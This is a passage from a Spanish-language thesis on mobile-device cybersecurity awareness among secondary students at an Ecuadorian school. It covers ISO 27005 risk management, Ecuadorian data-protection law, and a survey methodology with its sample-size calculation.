a asegurar que el software sea robusto y resistente a las amenazas antes de ser desplegado
en entornos de produccion.

Ingenieria inversa: La ingenieria inversa es el proceso de descompilar o desmontar una
aplicacion para comprender su funcionamiento interno y detectar vulnerabilidades y
riesgos de seguridad. Los expertos en seguridad analizan como se ha construido el
software, identifican posibles fallos y determinan cémo podrian ser explotados por
atacantes. Esta técnica es util tanto para mejorar la seguridad de las aplicaciones propias
como para entender las capacidades y amenazas de software de terceros.

Interceptacion de trafico: La interceptacion de trafico, o andlisis de trafico de red,
consiste en monitorizar y analizar los datos que se transmiten a través de una red para
identificar posibles vulnerabilidades de seguridad. Mediante el uso de herramientas
especializadas, los analistas pueden capturar, inspeccionar y evaluar el trafico de red en
busca de signos de ataques, comportamientos anomalos y datos sensibles que se
transmitan sin cifrado adecuado. Esta practica es fundamental para detectar y prevenir

intrusiones y asegurar la confidencialidad e integridad de la informacion.
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2.5. Ciberseguridad en la Educacion

La ciberseguridad educativa se centra en proteger la informacion y los datos sensibles en
el mundo académico, asi como en proteger a los estudiantes y profesores contra posibles
ciberataques. Esto incluye medidas para garantizar la integridad, disponibilidad y confiabilidad
de la informacion, que son esenciales para mantener un entorno de aprendizaje seguro en un
mundo cada vez mas digital. La educacion en ciberseguridad permite a las instituciones
educativas prepararse y enfrentar los desafios del cibercrimen en un entorno de aprendizaje en
linea, protegiendo la confidencialidad de los datos en un mundo digitalizado.

En este contexto, los regimenes de ciberseguridad en el ambito educativo se configuran
como el conjunto de reglas, politicas, procedimientos y medidas aplicadas para proteger la
informacion, los sistemas, las redes y los dispositivos utilizados en el sector educativo. Tanto las
instituciones, docentes, estudiantes y personal administrativo se rigen por estos regimenes, cuyo
principal objetivo es garantizar la confidencialidad, integridad y disponibilidad de los datos y
servicios educativos. Ademas, buscan prevenir y responder eficazmente a incidentes de
ciberseguridad que puedan afectar el normal funcionamiento del sector educativo.(Vintimilla &
Fernando, 2023)

2.5.1. Planes de proteccion de ciberseguridad en instituciones educativas

En Ecuador la ciberseguridad es un tema de vital importancia para el Gobierno. El pais
cuenta con una Estrategia Nacional de Ciberseguridad que establece lineamientos para la
seguridad nacional en el ciberespacio. Esta estrategia, que se aplica durante 3 afios (2022-2025),
se basa en seis ejes de accion que incluyen la gobernanza y coordinacién nacional, la ciber
resiliencia, la prevencion y lucha contra el ciberdelito, la ciberdefensa, las habilidades y

capacidades en ciberseguridad y la cooperacion internacional (Mintel, 2024).
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En el sector educativo, los desafios de ciberseguridad continian aumentando en volumen

y complejidad. Las instituciones educativas son un objetivo prioritario de ataques debido a la
gran cantidad de datos confidenciales que albergan (Iberia, 2023). Para abordar estos desafios,
recomienda aumentar la conciencia sobre la seguridad, realizar actualizaciones y parches,
implementar politicas de contrasefias seguras, utilizar firewalls y antivirus, controlar el acceso,
cifrar datos y realizar auditorias y supervision continua. (Rosero, 2024).

Estos planes se centran en fortalecer la seguridad en linea y proteger la informacion
confidencial en las instituciones educativas. Algunos de los aspectos cubiertos en estos planes
incluyen (ITware, 2023):

Identificacion de activos: Evaluar y comprender qué recursos y datos digitales deben
protegerse en las instituciones educativas.

Gestion de riesgos: evaluar y resolver de forma proactiva amenazas potenciales.

Monitoreo constante: Detectar y responder rapidamente a amenazas en infraestructura
tecnoldgica

Gestion de vulnerabilidades: Aplicar actualizaciones y parches para proteger los

sistemas contra las ultimas amenazas

S€

Plan de recuperacion ante desastres: Minimizar el tiempo de inactividad en caso de un

grave incidente. Ademas, se ofrecen programas de formacion en ciberseguridad a estudiantes y

profesionales actuales, que les ayudaran a mantenerse actualizados sobre las tltimas tendencias y

herramientas en ciberseguridad. Estos programas se centran en la capacitacion practica y la
preparacion para los desafios del mundo real que enfrentara en ciberseguridad (Ministerio de

Educacion, 2024).
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2.5.2. Rol del Ministerio del interior en la ciberseguridad educativa

El Ministerio del Interior del Ecuador juega un papel importante en la ciberseguridad del
pais. Aunque su rol en la ciberseguridad educativa no se especifica directamente, el Ministerio ha
estado activo en generar espacios para pensar, debatir y acordar, de manera participativa y
corresponsable, los mecanismos y soluciones necesarios para lograr un entorno seguro. Esto
demuestra que Ecuador esta tomando medidas significativas para prepararse para el mundo digital
(M1, 2024).

Ademas, el Ministerio del Interior ha firmado acuerdos con diversas instituciones para
reforzar la seguridad en las universidades y otras instituciones de educacion superior. Aunque los
detalles especificos de estas medidas no se han divulgado, es probable que incluyan iniciativas de
ciberseguridad (MI & Senescyt, 2023).

Es importante mencionar que la Estrategia Nacional de Ciberseguridad del Ecuador fue
desarrollada por el Ministerio de Telecomunicaciones y Sociedad de la Informacion. Esta
estrategia abarca varios ejes de accidn, incluida la gobernanza y la coordinacion nacionales, la
ciber resiliencia, la prevencion y la lucha contra el ciberdelito, la ciberdefensa, el desarrollo de
habilidades y capacidades en ciberseguridad, y la cooperacion internacional (MI, 2023).

2.6. Normativa y Leyes

La serie de normativas y leyes ISO 27000 es un conjunto clave de estdndares
internacionales para la gestion de la seguridad de la informacion en las organizaciones. Estos
estandares ofrecen directrices claras y ampliamente aceptadas para establecer, implementar,
mantener y mejorar los sistemas de gestion de seguridad de la informacion (SGSI). Dentro de esta
serie, la norma ISO 27005 se destaca como una herramienta crucial para gestionar los riesgos

relacionados con la seguridad de la informacion. Al enfocarnos en ISO 27005, se examinaran sus
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principios, metodologias y mejores practicas para identificar, evaluar y abordar eficazmente los
riesgos de seguridad. También se abordard cémo su implementacion puede reforzar la
ciberseguridad de las organizaciones y proteger sus activos de informacién mas valiosos.

Lanorma ISO/IEC 27005:2022 sigue las directrices establecidas para la gestion de riesgos
relacionados con la seguridad de la informacion. Este estandar ofrece orientacion a las
organizaciones para cumplir con los requisitos de ISO/IEC 27001, especificamente en cuanto a las
acciones necesarias para abordar los riesgos de seguridad de la informacion, asi como para llevar
a cabo actividades de gestion de riesgos, incluyendo la evaluacion y el tratamiento de los riesgos.
Lanorma es aplicable a todas las organizaciones, sin importar su tipo, tamafo o sector. De acuerdo
con lo que dice la norma ISO 27005 se referencia por las siguientes directrices:

e Gestion de Riesgos de Seguridad de la Informacion: La norma ISO 27005 establece
recomendaciones y lineamientos generales para la gestion de riesgos en los Sistemas de
Gestion de Seguridad de la Informacion (SGSI).

e Enfoque Sistematico: Proporciona un enfoque sistematico para la Gestion de Riesgos de
Seguridad de la Informacion, estableciendo lineamientos para un proceso organizado y
efectivo.

e Adaptabilidad: El estandar es flexible para adaptarse a diferentes contextos y tipos de
organizaciones, permitiendo a cada entidad implementar practicas de gestion de riesgos
que satisfagan sus necesidades especificas.

e Estandares Internacionales: ISO 27005 es el estandar internacional dedicado a la gestion
de riesgos de seguridad de la informacion y ofrece directrices importantes para esta

disciplina.
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2.6.1. Aplicacion de la ISO 27005 en la gestion de riesgos de la seguridad

La norma ISO 27005 no solo establece un marco integral para la gestion de riesgos de
seguridad de la informacidn, sino que también promueve una cultura organizacional centrada en
la seguridad, donde la identificacion y evaluacidon de riesgos son procesos continuos € iterativos.
Este enfoque proactivo permite a las organizaciones anticiparse a posibles amenazas y
vulnerabilidades, tomando medidas preventivas y correctivas de manera oportuna (iso-iec-27005,
2022).

En este sentido, el diagrama de aplicacion de gestion de riesgos de seguridad (iso-iec-
27005, 2022) actia como un mapa detallado que guia a los profesionales de seguridad de la
informacion a través de cada paso del proceso de gestion de riesgos, desde la identificacion inicial
hasta la implementacion de controles y monitoreo continuo. Al comprender y aplicar
adecuadamente los principios y lineamientos establecidos por este estandar, las organizaciones
pueden fortalecer su postura de seguridad, protegiendo sus activos criticos y salvaguardando la
confidencialidad, integridad y disponibilidad de la informacion frente a un panorama de amenazas
en constante evolucion. En el siguiente andlisis se examinara detenidamente cada elemento del
diagrama, destacando su papel fundamental en la proteccion y gestion eficaz de los riesgos de
seguridad de la informacidon. A continuacion, se explorard en detalle cada componente de este
diagrama, destacando su importancia y relevancia en el contexto de la seguridad de la informacion

de la Figura 3 (iso-iec-27005, 2022).
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Figura 3

Algoritmo de gestion de riesgos para la seguridad de la informacion ISO 27005

T
Tl

Establecimiento del contexto

Identificacion del riesgo

Analisis del riesgo

Evaluacion del riesgo

Monitoreoy revision del riesgo

Tratamiento del riesgo

Comunicacién y consulta del riesgo

Aceptacion del riesgo

Nota. Recuperada de: (iso-iec-27005, 2022).

Comunicacion y consulta de riesgo: Este paso subraya la importancia de mantener una
comunicacion y consulta continua sobre los riesgos identificados durante todo el proceso de
gestion de riesgos. Involucra a todas las partes interesadas relevantes para asegurar que la
informacion sobre riesgos se comparta de manera efectiva, permitiendo la toma de decisiones
informada y la implementacion de acciones apropiadas. La comunicacion eficaz también garantiza
que los cambios en el contexto o en los riesgos se aborden de manera oportuna y adecuada.

Establecimiento del contexto: Esta etapa define el entorno en el que se gestionaran los
riesgos, incluyendo los objetivos y condiciones tanto externas como internas. Se trata de
comprender el entorno de la organizacion, sus objetivos estratégicos, los factores que afectan sus

operaciones y las partes interesadas involucradas. El establecimiento del contexto proporciona la
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base para el resto del proceso de gestion de riesgos, asegurando que los riesgos se evaliien en

relacion con los objetivos y el entorno de la organizacion.

Valoracion del riesgo: Este proceso se divide en tres subprocesos principales:

Identificacion del riesgo: Implica reconocer los riesgos potenciales que podrian
afectar a la organizacion. Se trata de un esfuerzo sistematico para descubrir y
documentar los posibles eventos que podrian tener un impacto negativo en los
activos de informacion. Las técnicas de identificacion pueden incluir entrevistas,
talleres, andlisis de datos historicos y revision de incidentes pasados.

Analisis del riesgo: Una vez identificados los riesgos, se procede a comprender la
naturaleza del riesgo y a determinar su nivel. Esto incluye evaluar la probabilidad
de que ocurra el riesgo y el impacto que tendria en la organizacion. El andlisis puede
ser cualitativo, cuantitativo o una combinaciéon de ambos, proporcionando una
vision clara de la severidad de cada riesgo identificado.

Evaluacion del riesgo: En esta etapa, se compara el nivel de riesgo con criterios
preestablecidos para determinar su importancia. La evaluacion ayuda a priorizar los
riesgos segun su potencial impacto y probabilidad, lo que facilita la toma de
decisiones sobre las acciones necesarias para tratarlos. Se determinan los riesgos
que requieren tratamiento inmediato, aquellos que pueden ser monitorizados y

aquellos que pueden ser aceptados.

Tratamiento del riesgo: En esta etapa, se consideran las opciones y acciones para mitigar

los riesgos identificados. Algunas de las estrategias de tratamiento de riesgos incluyen:

Evitar el riesgo: Eliminando el riesgo por completo, por ejemplo, abandonando

una actividad que genera el riesgo.
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e Modificar el riesgo: Aplicando controles de seguridad para reducir la probabilidad
o el impacto del riesgo.

e Compartir el riesgo: Transfiriendo el riesgo a un tercero, a través de seguros o
externalizacion.

e Retener el riesgo: Aceptando el riesgo si cae dentro de los criterios de aceptacion
del riesgo establecidos.

Aceptacion del riesgo: Se refiere a la decision de aceptar el nivel de riesgo residual
después de haber aplicado las medidas de tratamiento de riesgos. Este nivel residual debe ser
aceptable segun los criterios definidos por la organizacion y debe ser documentado
adecuadamente. La aceptacion del riesgo implica una comprension clara de las posibles
consecuencias y la preparacion para gestionar cualquier impacto que pueda ocurrir.

Monitoreo y revision del riesgo: Este es un proceso continuo para monitorear y revisar
tanto los riesgos como las acciones de tratamiento implementadas. Involucra la supervision
constante de los riesgos para detectar cualquier cambio en su naturaleza o en su nivel, asi como la
evaluacion de la efectividad de las medidas de tratamiento. La revision periodica asegura que el
proceso de gestion de riesgos siga siendo relevante y efectivo, y permite la adaptacion a nuevos
riesgos o cambios en el contexto de la organizacion.

2.6.2. Beneficios y desafios de la implementacion de la ISO 27005

La implementacion de la norma ISO 27005 (iso-iec-27005, 2022)trae consigo una serie de
beneficios y desafios que merecen un analisis detallado. Este estdndar proporciona un marco sélido
para gestionar los riesgos de seguridad de la informacion, permitiendo a las organizaciones
identificar, evaluar y resolver los riesgos de manera efectiva. Sin embargo, su aplicacién también

presenta desafios, desde la necesidad de recursos y capacitacion adecuados hasta la integracion
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con otros sistemas de gestion empresarial. En este contexto, es esencial comprender tanto los
beneficios potenciales como los desafios inherentes para tomar decisiones informadas y maximizar
el valor de la implementacion de ISO 27005, tales como (Isms, 2024):
e Incrementar la proteccion y confianza en los datos y sistemas informaticos.
e Cumplir con los requisitos legales, reglamentarios y contractuales de la seguridad
informatica.
e Mejorar el rendimiento y la competitividad, evitando o minimizando pérdidas o dafios
causados por incidentes o ataques informaticos.
e Incrementar la satisfaccion y fidelizacion de los clientes garantizando la seguridad y
disponibilidad de los servicios ofrecidos.
e Mejorar la reputacion e imagen de la organizacion, demostrando su compromiso con la
seguridad de la informacion.
e Promover una cultura de seguridad y conciencia de riesgos entre los empleados y partes
interesadas.
Sin embargo, la implementacion de la norma ISO 27005 también puede plantear algunos
desafios o dificultades a las organizaciones, como(Quero, 2024):
e Requiere una inversion de tiempo, recursos y dinero para desarrollar e implementar el
proceso de gestion de riesgos de seguridad de la informacion.
e Requerir un cambio organizacional y cultural para adaptarse al nuevo enfoque y a las
nuevas medidas de gestion de riesgos de seguridad de la informacion.
e Requerir capacitacion y actualizacion continua del personal involucrado en la gestion de

riesgos de seguridad de la informacion.
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e Requerir una coordinacién y comunicacion efectiva entre las diferentes areas, niveles y
funciones de la organizacion para lograr una gestion integral y coherente de los riesgos de
seguridad de la informacion.

e Exigir la adaptacion y revision periddica del proceso y las medidas de gestion de riesgos
de seguridad de la informacién frente a cambios en el entorno, amenazas emergentes o
nuevas necesidades de la organizacion.

2.6.3. Leyes vigentes en el Ecuador para la seguridad de la informacion

En un mundo cada vez mas digitalizado, la proteccion de datos y la seguridad de la
informacion se han convertido en aspectos cruciales para garantizar la integridad y
confidencialidad de los activos digitales. En Ecuador, esta conciencia ha llevado a la promulgacion
de diversas leyes y normativas durante el afo 2024, con el proposito de salvaguardar estos activos
vitales. Estas regulaciones tienen como objetivo principal asegurar la integridad, confidencialidad
y disponibilidad de la informacion, tanto en el &mbito ptblico como privado. La entrada en vigor
de normativas como la Ley Organica de Vigilancia y Seguridad Privada y la Ley Organica de
Proteccion de Datos Personales refleja el compromiso del pais con la proteccion de los derechos
individuales y la promocion de la seguridad cibernética. A través de estas medidas legislativas,
Ecuador demuestra su adaptacion a los desafios del mundo digital en constante evolucion y su
firme compromiso con la seguridad de la informacion.

El Articulo 66 de la Constitucion Ecuatoriana indica la normativa del derecho a la
proteccion de datos personales, reconociendo la importancia de salvaguardar la privacidad y
seguridad de la informacion personal en el contexto digital. Este articulo sienta las bases para la
promulgacion de leyes especificas que fortalezcan la ciberseguridad y protejan a los ciudadanos

contra posibles amenazas informaticas.
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Ley de Proteccion de Datos Personales:

De la misma manera, la Ley de Proteccion de Datos Personales, que entr6 en vigor en 2023,
establece medidas para salvaguardar la privacidad y seguridad de la informacion personal,
fortaleciendo asi la ciberseguridad y protegiendo a los ciudadanos contra posibles violaciones de
datos.(Ley de Proteccion de Datos Personales, 2023; MONKEY, 2021)

Cédigo Organico Integral Penal (COIP):

En relacion con el mencionado Articulo 66, el COIP, que ha estado vigente desde 2014,
contempla disposiciones legales para sancionar delitos informaticos, incluidos aquellos
relacionados con la violacion de datos personales. Estas medidas penales contribuyen a garantizar
la aplicacion efectiva de la proteccion de datos y la ciberseguridad en el ambito juridico. (Maritan
& Santana, 2023)

Ley de Telecomunicaciones

La Ley Organica de Telecomunicaciones en Ecuador establece regulaciones sobre las
telecomunicaciones en el pais. El articulo 66, numeral 19, reconoce y asegura a las personas el
derecho a la proteccion de sus datos personales, lo que incluye el acceso y control sobre dicha
informacion, asi como su adecuada proteccion y privacidad en el contexto de las comunicaciones.
Esta disposicion legal busca asegurar que los ciudadanos tengan control sobre sus datos personales
y establece medidas para su resguardo. La Ley Orgénica de Telecomunicaciones en Ecuador entro
en vigor el miércoles 18 de febrero de 2015. Posteriormente, el 3 de agosto de 2021, se realizé una
reforma al reglamento de la (LEY ORGANICA DE TELECOMUNICACIONES, 2021)

En Ecuador, la proteccion de datos personales en el sector académico se rige por la Ley de
Proteccion de Datos Personales, que entrd en vigencia en 2023. Esta ley establece un marco legal

que garantiza la seguridad y confidencialidad de los datos personales de los estudiantes,
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garantizando asi su ensefianza. Las instituciones adoptan medidas apropiadas para evitar la
vulnerabilidad al acceso no autorizado o al uso indebido de la informacién. Ademas, promueve la
implementacion de protocolos de seguridad y politicas de privacidad claras que deben seguir todas
las entidades académicas del pais. Esta legislacion no solo genera confianza en la gestion de la
informacion de los estudiantes, sino que también se alinea con los estandares internacionales de

proteccion de datos, proporcionando un entorno mas seguro para la comunidad educativa.
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CAPITULO III: METODOLOGIA

Este capitulo presenta una descripcion detallada de la metodologia utilizada, incluida una
explicacion de los métodos de recopilacion de datos, como encuestas, phishing y pruebas de
penetracion. Se describe la poblaciéon y muestra utilizada en el estudio, destacando las
caracteristicas demograficas y los criterios de seleccion. Ademas, se detallan los procedimientos y
técnicas utilizadas para el andlisis de datos, asegurando precision en la interpretacion de los
resultados. De esta manera se abordan consideraciones éticas, garantizando la confidencialidad, el
anonimato y el consentimiento informado de los participantes, y se discuten las limitaciones del
estudio, reconociendo posibles restricciones y sesgos que pueden afectar los resultados.

La normativa ISO 27005 proporciona directrices para gestionar los riesgos de seguridad
de la informacion. La fase de planificacion es crucial para establecer una comprension detallada
del medio ambiente y definir un plan de accion eficaz. En la etapa 1 se identifican y definen los
objetivos de la investigacion, asi como los requisitos especificos para alcanzarlos.

3.1. Etapa 1: Planeacion para la implementacion

En esta fase inicial se logra identificar y definir los objetivos de la investigacion, asi como
los requisitos especificos para alcanzarlos. Se establece el alcance del estudio y se determinan los
principales aspectos a investigar, tomando como referencia las normas ISO 27005. De esta manera
se lleva a cabo un andlisis detallado de las necesidades de seguridad de los estudiantes de
secundaria en relacion con el uso de dispositivos moviles y las Tecnologias de la Informacion.
Ademas, se reconocen las vulnerabilidades comunes y las practicas actuales, se identifican los
desafios y riesgos clave, es asi que se define el plan de recopilacion de datos. Segun la ISO 27005
(seccion 2), es crucial definir el contexto organizacional para establecer los objetivos y determinar

los aspectos clave para la gestion de riesgos.
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3.1.1 Definicion de objetivos

Los objetivos de la investigacion, mencionados anteriormente en el capitulo 1, tanto
generales como especificos, seran desarrollados y enfatizados a lo largo de la etapa 1 del capitulo
3. En esta etapa se centrara en la planificacion para la implementacion de los objetivos. La ISO
27005 (seccion 2.3) sugiere definir claramente el alcance y establecer sus objetivos.
3.1.2 Alcance del estudio

El alcance de la investigacion se centra en la planificacion para la implementacion de la
primera etapa, tal como se menciono en el capitulo 1 de este documento. Corresponde al apartado,
donde se aplicaran y detallaran los lineamientos inicialmente establecidos, asegurando que todos
los aspectos mencionados hayan sido previamente considerados y desarrollados minuciosamente.
La implementacion se realizara siguiendo los mismos lineamientos y objetivos establecidos en el
capitulo 1, asi como la fundamentacion tedrica expuesta en el capitulo 2. La ISO 27005 (seccion
2.2) recomienda definir el alcance y los limites para la gestion de riesgos.
3.1.3 Recoleccion de Informacion

Para recolectar informacion sobre ciberseguridad en dispositivos moviles de los estudiantes
de la Unidad Educativa 17 de Julio, se utilizard varias técnicas, entre ellas pruebas a ciegas y
pruebas con informacion. Las pruebas a ciegas implican la observacion y el andlisis de los
comportamientos sin informacion previa detallada, centrandose en la forma en que los estudiantes
usan sus dispositivos moviles en entornos escolares, las medidas de seguridad que implementan,
el tipo de contenido que consumen y comparten, y su reaccion ante posibles amenazas. Estas
observaciones se llevaran a cabo de manera imparcial y objetiva para identificar patrones y
comportamientos que puedan indicar un bajo nivel de concienciacion sobre ciberseguridad. La

ISO 27005 (seccion 2.7) establece que la recoleccion de informacion debe basarse en criterios para
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la evaluacion del riesgo, proporcionando un patrén de referencia que permite la comparacion entre
objetos y personas.

Sin embargo, las pruebas con informacion se basaran en datos previamente recopilados
sobre los estudiantes, como informacion demografica, entrevistas con docentes y andlisis de
informes previos. Esto permitira realizar una evaluacion mas especifica y detallada, identificando
los tipos de dispositivos y aplicaciones que utilizan, sus hdbitos en linea y sus practicas de
ciberseguridad. Se llevard a cabo investigaciones y entrevistas en profundidad para explorar sus
conocimientos y capacidades para hacer frente a las amenazas cibernéticas.

Es asi como, con la autorizacion de las autoridades, se solicitara un espacio para los
estudiantes, en el cual se administrara una encuesta, detallada en el Anexo 1, disefiada para evaluar
el nivel de conocimientos preliminares y concienciacidon sobre ciberseguridad de los estudiantes
en relacion con los dispositivos modviles que utilizan. Estos métodos combinados permitiran
obtener una vision integral del comportamiento y las practicas de los estudiantes en materia de
ciberseguridad, proporcionando informacion para desarrollar estrategias educativas y preventivas.

3.1.3.1 Pruebas a ciegas

Las pruebas a ciegas se realizaran sin informacion previa de los estudiantes realizando un
andlisis y observando las diferentes conductas de los estudiantes dentro de la institucion Educativa
con los dispositivos moviles. mediante este andlisis se determina la manera que los estudiantes
utilizan sus dispositivos méviles en diferentes ambientes de la unidad educativa. Adicionalmente,
se obtendra informacion en la cual se logre registrar si implementan medidas de seguridad bésicas,
como emplear contrasefias, bloquear las pantallas y descargar aplicaciones de fuentes confiables.
Ademas, el analisis del tipo de contenido que consumen y comparten a través de sus dispositivos

moviles, permite identificar posibles riesgos de ciberseguridad. Asimismo, el establecimiento de
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un monitoreo general del uso de los dispositivos en diferentes momentos del dia escolar, permite
vigilando patrones y comportamientos repetitivos que puedan indicar un bajo nivel de conciencia
sobre ciberseguridad. También se documentara cualquier incidente visible que pueda comprometer
la seguridad de los dispositivos mdviles, como el uso de redes Wi-Fi publicas inseguras o la
descarga de aplicaciones de fuentes no confiables. Estas actividades proporcionaran una vision
general del comportamiento y las practicas de los estudiantes en materia de ciberseguridad en sus
dispositivos moviles, sin influencias externas ni informacion preconcebida.

3.1.3.2 Pruebas con informacion

Para llevar a cabo las pruebas con informacion, se utilizaran datos obtenidos a partir de la
observacion visual y general sobre los estudiantes, disponibles en la web y en el establecimiento.
Este enfoque permitira realizar una evaluacién mas detallada y especifica. Primero, se considerara
la informacién demografica visible, como la cantidad de estudiantes y profesores de la Unidad
Educativa 17 de Julio, para definir el perfil de los participantes. A su vez, se recurrira a diversas
fuentes, como registros escolares, entrevistas con docentes y sitios web oficiales de la institucion,
para obtener una percepcion mas completa de los alumnos.

Con informacioén mas detallada y precisa, se identificaran los tipos de dispositivos moviles
que utilizan y las aplicaciones méas comunes que tienen instaladas los estudiantes previamente
identificados. Se evaluaran sus habitos en linea y el uso de redes sociales, prestando especial
interés a comportamientos que puedan indicar su nivel de conciencia en ciberseguridad, como la
frecuencia con la que actualizan su software y el uso de aplicaciones de seguridad.

En definitiva, se aplicard una encuesta a los estudiantes de educacién media superior para
explorar en detalle sus conocimientos, practicas de ciberseguridad y capacidad para reconocer y

gestionar ciber amenazas. Estos datos permitirdn un analisis integral y personalizado,



40

proporcionando una comprension clara del nivel de conciencia y conocimiento sobre
ciberseguridad entre los estudiantes.
3.1.4. Poblacion y Muestra

Para esta seccion se debera primero realizar el calculo del tamafo de la muestra se realizo
utilizando la herramienta disponible en el sitio web de Qualtrics XM. La poblacion investigada se
define como el conjunto total de elementos que comparten un parametro comuin. Es fundamental
resaltar que, en el &mbito de la investigacion, la poblacion no se limita exclusivamente a los seres
humanos; puede abarcar cualquier conjunto de datos que comparta un parametro comun. (Qualtrics
XM, 2024).

Por otro lado, una muestra se define como una fraccidn representativa del conjunto total,
es decir, un subconjunto de toda la poblacion. En el contexto de la investigacion, la muestra esta
formada por individuos seleccionados de la poblacion para participar en el estudio. En términos
simples, el analisis de una muestra permite examinar las caracteristicas o comportamientos de la
poblacion en su totalidad (Hernandez Sampieri, Fernandez Collado, & Baptista Lucio, 2014).

Para determinar el tamafio muestral, se utiliz6 una calculadora en linea donde se ingresaron
los datos de los 657 estudiantes de educacion media superior, considerando un nivel de confianza
del 95% y un margen de error del 5%. Esto asegura que la muestra sea representativa y que los
resultados sean estadisticamente significativos y creibles.

Se opt6 por un margen de error del 5% para la investigacion ya que este nivel de precision
es adecuado para el tipo de estudio realizado. Comunmente, se acepta un margen de error del 5%
en estudios de este tipo, ya que proporciona un equilibrio entre la precision de los resultados y la
viabilidad logistica de realizar una encuesta de este tamafio. Ademads, este margen de error permitié

obtener un nivel de confianza del 95%, lo que significa que hay certeza en la representatividad de
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los datos dentro de la muestra seleccionada. Los niveles de confianza mas habituales son del 99%,
95% o0 90% (Hernandez Sampieri, Fernandez Collado, & Baptista Lucio, 2014). La Tabla 1

presenta los valores tipicos del margen de error y los niveles de confianza, junto con sus

correspondientes valores 'Z'.

Tabla 1

Valores mas utilizados para margen de error y nivel de confianza con su respectivo valor Z’

Margen de error Nivel de Confianza Valor Z
1% 99% 2.58

5% 95% 1.96
10% 90% 1.645

Nota. Modificado de Yucailla Muzo, V.Y. (2024).(Yucailla Muzo Viviana Yomaira, 2024)
La calculadora en linea emplea una formula validada y sustentada para calcular el tamafio
de una muestra finita. La formula se describe a continuacion mediante la ecuacion 1:

N * Zz*p*q

Tamarfio de muestra (n) = Zx(N—D+2+prq

(Ec. 1)

Donde,
e n = Tamafio de muestra objetivo
e N =Tamafio de la poblacion (657 estudiantes)
e 7 =Parametro estadistico que depende del nivel de confianza (normalmente 95% o 99%)

e e = Error de estimacién maximo aceptado, que va del 1% al 9%, siendo el 5% (0,05) el valor

estandar
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e p = Probabilidad de ocurrencia del evento estudiado (éxito), si se desconoce este dato es
comun utilizar un valor constante que equivale a 0,5

e = (1-p) =Probabilidad de que el evento estudiado no ocurra Si se desconoce este dato, es
comun utilizar un valor constante equivalente a 0,5.

Utilizando la Ecuacion 1, se realiza el célculo para obtener el tamafio de muestra,
remplazando los datos para la Ecuacion 2, tomando en cuenta el contenido de la Tabla 1 donde se
menciona que el 95% tiene un valor de Z igual a 1.96 y que, para los valores de p y q, estos datos
son desconocidos, por lo que al reemplazar los datos daria como resultado:

657 * 1.96% % 0.5 % 0.5
0.052 % (657 — 1) + 1.962 0.5 0.5

Tamaiio de muestra (n) = (Ec.2)

n = 242.648 = 243

El resultado del tamafio de la muestra obtenido aplicando la formula fue de 242.648, y el
resultado obtenido con la calculadora en linea es 243, lo cual es correcto. El valor calculado debe
redondearse a un niimero entero, debido a que se trata de un resultado que corresponde al nimero
de estudiantes. Con este valor, se realizaran las encuestas a 243 estudiantes de educacion media
superior en la Unidad Educativa 17 de Julio.
3.2. Etapa 2: Descubrimiento para el analisis

En esta etapa, se disefa la investigacion y se seleccionan los métodos y técnicas mas
adecuados. Los instrumentos de recoleccion de datos, como encuestas y entrevistas, estin
disefiados para recopilar y verificar informacion sobre la seguridad digital de los estudiantes y las
buenas practicas en el uso de dispositivos modviles. A su vez, se establecen los criterios y

herramientas para la muestra seleccionada.
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3.2.1 Recoleccion de informacion

Con el objetivo de recopilar informacion sobre el nivel de ciberseguridad en dispositivos
moviles entre los estudiantes de la Unidad Educativa 17 de Julio, se implementan diversas técnicas
de recoleccion de datos, entre las que se incluyen pruebas a ciegas y pruebas con informacion.
Como parte de este proceso, se aplica una encuesta directa a los estudiantes, la cual se detalla en
el Anexo 1. Esta encuesta fue realizada fuera del horario de clases para evitar interferencias con
las actividades académicas con la finalidad de evaluar tanto el nivel de conocimiento preliminar
como la conciencia de los estudiantes sobre la ciberseguridad en los dispositivos moviles que
utilizan, lo que conlleva que al final de la recoleccion se obtengan 243 respuestas de los estudiantes
como muestra de estudio.

3.2.1.1 Pruebas a ciegas

Las pruebas a ciegas son un método de evaluacion que, mediante una preparacion
meticulosa y una observacion precisa, garantiza un analisis justo y objetivo del desempeio de los
estudiantes. Al no contar con informacion previa, este método permite registrar y examinar cada
aspecto del rendimiento observado de manera detallada.

En estas pruebas, no hay datos especificos disponibles para identificar a los participantes
ni adaptar las pruebas a sus caracteristicas individuales. Esto implica que debemos adoptar un
enfoque preciso, para observar y analizar el comportamiento de los estudiantes sin influencias
externas.

Ser preciso implica realizar observaciones exactas y correctas, mientras que ser detallado
significa prestar atencion a todas las pequefias partes y caracteristicas del comportamiento de los

estudiantes. Este tipo de pruebas es crucial para evaluar de manera objetiva el conocimiento y las
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habilidades de los estudiantes en ciberseguridad. Al no contar con informacion previa, se garantiza
una evaluacion imparcial que proporciona una vision clara y precisa de sus capacidades en el tema.

Actividades visuales.

En cuanto a las actividades visuales, el primer paso consiste en realizar una btisqueda en
Internet, como se muestra en la Figura 4, para analizar qué informacion estaba disponible sobre
la institucion educativa con una simple consulta de su nombre. Esta exploracion inicial permite
identificar los datos de acceso publico y evaluar la presencia digital del establecimiento.

Figura 4

Busqueda mediante Google de la Unidad educativa 17 de julio

unsdad educativa 17 de julio

Unidad Educativa 17 De Julio

*a

® o E

Nota. Imagen tomada de (Unidad Educativa 17 de Julio - Buscar Con Google, 2024.)

Para complementar este analisis, la Figura 4 muestra la informacion visible de la Unidad
Educativa en motores de busqueda como Google, incluyendo su pagina de Facebook, direccion,
nimero de contacto publico y detalles sobre los horarios de apertura y cierre de la jornada
académica. Esto no solo representa el espacio fisico donde ocurrieron las interacciones
tecnoldgicas, sino que también evidencia la importancia de la seguridad digital y la gestion de la
informacion accesible en linea. Dado que los dispositivos moviles desempeniaron un papel
fundamental en la vida diaria de los estudiantes, fue esencial conocer el contexto fisico y digital

en el que se desarrollan estas interacciones para garantizar un entorno seguro y protegido. Dado
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que la informacion anterior es genérica y ofrece una vision preliminar del establecimiento, se

presenta en la Figura 5 un mapa completo del mismo, proporcionado por Google Maps, con el fin

de obtener una comprension mas detallada.

Figura 5

Ubicacion geogrdfica de la Unidad Educativa 17 de Julio por medio de Google Maps.
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Nota. Ubicacion geografica de la Unidad Educativa 17 de Julio, por Google maps
Es fundamental comprender como esta organizado fisicamente el entorno del
establecimiento para evaluar el uso de dispositivos moviles por parte de los estudiantes. En este
contexto, la Figura 5 proporciona una vista detallada de su ubicacion exacta. Asimismo, dicha
figura ofrece informacion adicional sobre la disposicion interna y la distribucion de los edificios.
Estos detalles sirven como referencia para obtener una vision general de la estructura del
establecimiento. El mapa también facilita la comprension de la organizacion de las instalaciones

y permite analizar el uso del espacio por parte de los estudiantes.


